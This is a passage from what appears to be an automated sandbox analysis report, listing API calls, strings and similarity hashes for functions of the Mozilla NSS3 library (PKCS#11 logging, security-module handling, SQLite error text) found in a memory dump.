PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C746C96

Part of subcall function 6C6F1240: TlsGetValue.KERNEL32(00000040,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F1267
Part of subcall function 6C6F1240: EnterCriticalSection.KERNEL32(?,?,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F127C
Part of subcall function 6C6F1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F1291
Part of subcall function 6C6F1240: PR_Unlock.NSS3(?,?,?,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F12A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C746CAA

Strings

extern:, xrefs: 6C746C7E
dbm:, xrefs: 6C746C3A
NSS_DEFAULT_DB_TYPE, xrefs: 6C746C91
sql:, xrefs: 6C746C52
rdb:, xrefs: 6C746C69
dbm, xrefs: 6C746CA4

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 84b2917be4ffacaea9436494f41bd28f884138ed1d235f1cdfefac691080bf3b
Instruction ID: 8ebe95bf0ff7fd2ca86c7e9179bfbc79ee6dbf489be15518fd368867161c1d61
Opcode Fuzzy Hash: 84b2917be4ffacaea9436494f41bd28f884138ed1d235f1cdfefac691080bf3b
Instruction Fuzzy Hash: BD01A7E170231527F56027796F49F26395D9F4265CF544832FE08E0A42EAD6E614C0A5

Function 6C754E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C7178F8), ref: 6C754E6D

Part of subcall function 6C6F09E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C6F06A2,00000000,?), ref: 6C6F09F8
Part of subcall function 6C6F09E0: malloc.MOZGLUE(0000001F), ref: 6C6F0A18
Part of subcall function 6C6F09E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C6F0A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C7178F8), ref: 6C754ED9

Part of subcall function 6C745920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C747703,?,00000000,00000000), ref: 6C745942
Part of subcall function 6C745920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C747703), ref: 6C745954
Part of subcall function 6C745920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C74596A
Part of subcall function 6C745920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C745984
Part of subcall function 6C745920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C745999
Part of subcall function 6C745920: free.MOZGLUE(00000000), ref: 6C7459BA
Part of subcall function 6C745920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C7459D3
Part of subcall function 6C745920: free.MOZGLUE(00000000), ref: 6C7459F5
Part of subcall function 6C745920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C745A0A
Part of subcall function 6C745920: free.MOZGLUE(00000000), ref: 6C745A2E
Part of subcall function 6C745920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C745A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C7178F8), ref: 6C754EB3

Part of subcall function 6C754820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C754EB8,?,?,?,?,?,?,?,?,?,?,6C7178F8), ref: 6C75484C
Part of subcall function 6C754820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C754EB8,?,?,?,?,?,?,?,?,?,?,6C7178F8), ref: 6C75486D
Part of subcall function 6C754820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C754EB8,?), ref: 6C754884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C7178F8), ref: 6C754EC0

Part of subcall function 6C754470: TlsGetValue.KERNEL32(00000000,?,6C717296,00000000), ref: 6C754487
Part of subcall function 6C754470: EnterCriticalSection.KERNEL32(?,?,?,6C717296,00000000), ref: 6C7544A0
Part of subcall function 6C754470: PR_Unlock.NSS3(?,?,?,?,6C717296,00000000), ref: 6C7544BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C7178F8), ref: 6C754F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C7178F8), ref: 6C754F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C7178F8), ref: 6C754F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C7178F8), ref: 6C754F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C7178F8), ref: 6C754F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C7178F8), ref: 6C754F8F
PK11_UpdateSlotAttribute.NSS3(?,6C82DCB0,00000000), ref: 6C754FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C75501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C7178F8), ref: 6C75506B

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 32299633f8eca085c42be54b2f198a190b0da80752dc318c7e0f56f60de401be
Instruction ID: 85ffb86e4a8d079149e3bdb1c2bc5c482a3bcc74e992cf13c40ee0c7c6fd9928
Opcode Fuzzy Hash: 32299633f8eca085c42be54b2f198a190b0da80752dc318c7e0f56f60de401be
Instruction Fuzzy Hash: F051D3B1E002019BDB119F35EE09AAB36B5BF0535CF584635E80A46A52FF32E535CBD2

Function 6C6FACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6FACE2
malloc.MOZGLUE(00000001), ref: 6C6FACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C6FAD02
TlsGetValue.KERNEL32 ref: 6C6FAD3C
calloc.MOZGLUE(00000001,?), ref: 6C6FAD8C
PR_Unlock.NSS3 ref: 6C6FADC0
free.MOZGLUE(00000000), ref: 6C6FAE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C6FAE58
free.MOZGLUE(00000000), ref: 6C6FAE69
free.MOZGLUE(?), ref: 6C6FAE78
PR_Unlock.NSS3 ref: 6C6FAE8C
free.MOZGLUE(?), ref: 6C6FAEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6FAEC7

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: ec12590d8857c3432f1921ab0a830840ffaec7084f27c893294b58596e71221e
Instruction ID: 9819b64d86a8ccad6c030d9dbe26925988d460203aa6c84b39096e2a22ce1e44
Opcode Fuzzy Hash: ec12590d8857c3432f1921ab0a830840ffaec7084f27c893294b58596e71221e
Instruction Fuzzy Hash: 5851C3B4E002168BDB10DF99D8466AE77B6BB0A34CF140135D825A3B13D371AD06CBEA

Function 6C73ADC0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6C73ADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C73AE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C73AE29

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C73AE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C73AE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C73AE8A
PR_LogPrint.NSS3(?,00000000), ref: 6C73AEA0

Strings

C_MessageSignInit, xrefs: 6C73ADE1
hKey = 0x%x, xrefs: 6C73AE62, 6C73AE72
hSession = 0x%x, xrefs: 6C73AE01, 6C73AE11
(CK_INVALID_HANDLE), xrefs: 6C73AE1F, 6C73AE80

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit
API String ID: 332880674-605059067
Opcode ID: a8bfbb1d8e2a04388e18069fa9c2519939b8a7efa823ad7ca2ed6462dfece388
Instruction ID: 27491b4ca3e66077a58e7e862756750522e8ec67d36226ee5658cbc8424217ee
Opcode Fuzzy Hash: a8bfbb1d8e2a04388e18069fa9c2519939b8a7efa823ad7ca2ed6462dfece388
Instruction Fuzzy Hash: 36312531605124ABCF21CB64DE4EFBA33B9AB4231DF446835E40D5BB42D738A848CBD6

Function 6C739EE0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptInit), ref: 6C739F06
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C739F37
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C739F49

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C739F5F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C739F98
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C739FAA
PR_LogPrint.NSS3(?,00000000), ref: 6C739FC0

Strings

hKey = 0x%x, xrefs: 6C739F82, 6C739F92
C_MessageEncryptInit, xrefs: 6C739F01
hSession = 0x%x, xrefs: 6C739F21, 6C739F31
(CK_INVALID_HANDLE), xrefs: 6C739F3F, 6C739FA0

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptInit
API String ID: 332880674-1139731676
Opcode ID: d078a38da9e0c73d7ccf5774bec0a8aa3a0605598a7182632d7f094e5dcfe8be
Instruction ID: 0d2913347ae072ae382fcc7d946aaaa93009144e5a3793892b7903e9b16a3ceb
Opcode Fuzzy Hash: d078a38da9e0c73d7ccf5774bec0a8aa3a0605598a7182632d7f094e5dcfe8be
Instruction Fuzzy Hash: B4310431605225ABCB21CB14DE4CFBE37B5AB4231DF046835E40D6BB42DB38A848CBD6

Function 6C7D4C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C7D4CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C7D4CFD
sqlite3_value_text16.NSS3(?), ref: 6C7D4D44

Strings

another row available, xrefs: 6C7D4D20
API call with %s database connection pointer, xrefs: 6C7D4CF6
out of memory, xrefs: 6C7D4C78, 6C7D4C9E
unknown error, xrefs: 6C7D4D56
no more rows available, xrefs: 6C7D4D2E
bad parameter or other API misuse, xrefs: 6C7D4D05
invalid, xrefs: 6C7D4CF1
abort due to ROLLBACK, xrefs: 6C7D4D27, 6C7D4D33

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: ef55f2b59338cbcdaf2c25fefae10570a3324d18bbe533ab07a05847be0ca237
Instruction ID: df5ef18c8c049368fcddab6ae664d2eaa2ba45aa3f2aa92fc59736dad66dd660
Opcode Fuzzy Hash: ef55f2b59338cbcdaf2c25fefae10570a3324d18bbe533ab07a05847be0ca237
Instruction Fuzzy Hash: E8316873A088216BDB244B24FB067A573617783318F570935D52C4BF65C724BC15E3D6

Function 6C732DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6C732DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C732E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C732E33

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C732E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C732E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C732E81

Strings

pPin = 0x%p, xrefs: 6C732E63
ulPinLen = %d, xrefs: 6C732E7C
hSession = 0x%x, xrefs: 6C732E0E, 6C732E1E
C_InitPIN, xrefs: 6C732DF1
(CK_INVALID_HANDLE), xrefs: 6C732E2C

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: 9103849e3bb6cba8b148d89026c72c6b5954dc35cc73ee448d1eddaae3fd1de3
Instruction ID: 830e22771b79104f700b281a2ffbe3a03f0e05c1e49b5e5ee53d48d9b64de1b3
Opcode Fuzzy Hash: 9103849e3bb6cba8b148d89026c72c6b5954dc35cc73ee448d1eddaae3fd1de3
Instruction Fuzzy Hash: 8A313771606164ABDB20CB15CF4DB6A37B9EB4231CF045470E80DABB53DB38A848CBD6

Function 6C737E00 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyUpdate), ref: 6C737E26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C737E54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C737E63

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C737E79
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C737E98
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C737EB1

Strings

ulPartLen = %d, xrefs: 6C737EAC
C_VerifyUpdate, xrefs: 6C737E21
hSession = 0x%x, xrefs: 6C737E3E, 6C737E4E
pPart = 0x%p, xrefs: 6C737E93
(CK_INVALID_HANDLE), xrefs: 6C737E5C

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_VerifyUpdate
API String ID: 1003633598-2508624608
Opcode ID: 68a474513c854d18158c55533aae3ab5696b246ec31bde638376e8fb3e7160d8
Instruction ID: ddf0503ccfb529f9b5e3bf8d249cb3a899da5336d61e65e5dec18ec2e463d051
Opcode Fuzzy Hash: 68a474513c854d18158c55533aae3ab5696b246ec31bde638376e8fb3e7160d8
Instruction Fuzzy Hash: 7A313B34606125EBD7209B15CF4CF6A37B9AB4234CF446474E80D5BB42DB38AC48CBD6

Function 6C736EF0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6C736F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C736F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C736F53

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C736F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C736F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C736FA1

Strings

ulPartLen = %d, xrefs: 6C736F9C
C_DigestUpdate, xrefs: 6C736F11
hSession = 0x%x, xrefs: 6C736F2E, 6C736F3E
pPart = 0x%p, xrefs: 6C736F83
(CK_INVALID_HANDLE), xrefs: 6C736F4C

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate
API String ID: 1003633598-226530419
Opcode ID: 0842bc65122bc2bb400bbf2634a72057084a9ce09d3b55663d8b81c47889a384
Instruction ID: 4225626bf81f68d96ace66284604a183416253cf51eae5db399b28e855aabcf7
Opcode Fuzzy Hash: 0842bc65122bc2bb400bbf2634a72057084a9ce09d3b55663d8b81c47889a384
Instruction Fuzzy Hash: AE31F234606025ABDB20DB25CE4CF6A37B5AB4235CF046434E80C9BB03DB38E948CBD6

Function 6C737F30 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyFinal), ref: 6C737F56
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C737F84
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C737F93

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C737FA9
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C737FC8
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6C737FE1

Strings

C_VerifyFinal, xrefs: 6C737F51
pSignature = 0x%p, xrefs: 6C737FC3
hSession = 0x%x, xrefs: 6C737F6E, 6C737F7E
ulSignatureLen = %d, xrefs: 6C737FDC
(CK_INVALID_HANDLE), xrefs: 6C737F8C

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pSignature = 0x%p$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_VerifyFinal
API String ID: 1003633598-3315179127
Opcode ID: 3520faafe5bf00c95d49119e69a1ee885b90a3340b49b9adb8e9ba4304e5fd4a
Instruction ID: fc3899156eaba35a49df672d0c9395fa364f53a423a65818fcf548fc1bbe3799
Opcode Fuzzy Hash: 3520faafe5bf00c95d49119e69a1ee885b90a3340b49b9adb8e9ba4304e5fd4a
Instruction Fuzzy Hash: 04310430606025EBDB20DB15CF4CF6A37B5AB4235CF446435E80D9BB02DB38A849CBE6

Function 6C7D2D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C7D2D9F

Part of subcall function 6C68CA30: EnterCriticalSection.KERNEL32(?,?,?,6C6EF9C9,?,6C6EF4DA,6C6EF9C9,?,?,6C6B369A), ref: 6C68CA7A
Part of subcall function 6C68CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C68CB26

sqlite3_exec.NSS3(?,?,6C7D2F70,?,?), ref: 6C7D2DF9
sqlite3_free.NSS3(00000000), ref: 6C7D2E2C
sqlite3_free.NSS3(?), ref: 6C7D2E3A
sqlite3_free.NSS3(?), ref: 6C7D2E52
sqlite3_mprintf.NSS3(6C83AAF9,?), ref: 6C7D2E62
sqlite3_free.NSS3(?), ref: 6C7D2E70
sqlite3_free.NSS3(?), ref: 6C7D2E89
sqlite3_free.NSS3(?), ref: 6C7D2EBB
sqlite3_free.NSS3(?), ref: 6C7D2ECB
sqlite3_free.NSS3(00000000), ref: 6C7D2F3E
sqlite3_free.NSS3(?), ref: 6C7D2F4C

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 2dfd81bb95f7861e55db35b379a145f56cb94c05a622332f37e9d55091a12fdc
Instruction ID: 17cfcd32db8ea84a50e7038dbec8f6f4cf6280e68920235998e521a72009eaba
Opcode Fuzzy Hash: 2dfd81bb95f7861e55db35b379a145f56cb94c05a622332f37e9d55091a12fdc
Instruction Fuzzy Hash: DD619FB5E052069BEB00CF68D989B9EBBB5AF49348F160034DC45A7701E735FC46CBA5

Function 6C717C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C862120,Function_00097E60,00000000,?,?,?,?,6C79067D,6C791C60,00000000), ref: 6C717C81

Part of subcall function 6C684C70: TlsGetValue.KERNEL32(?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684C97
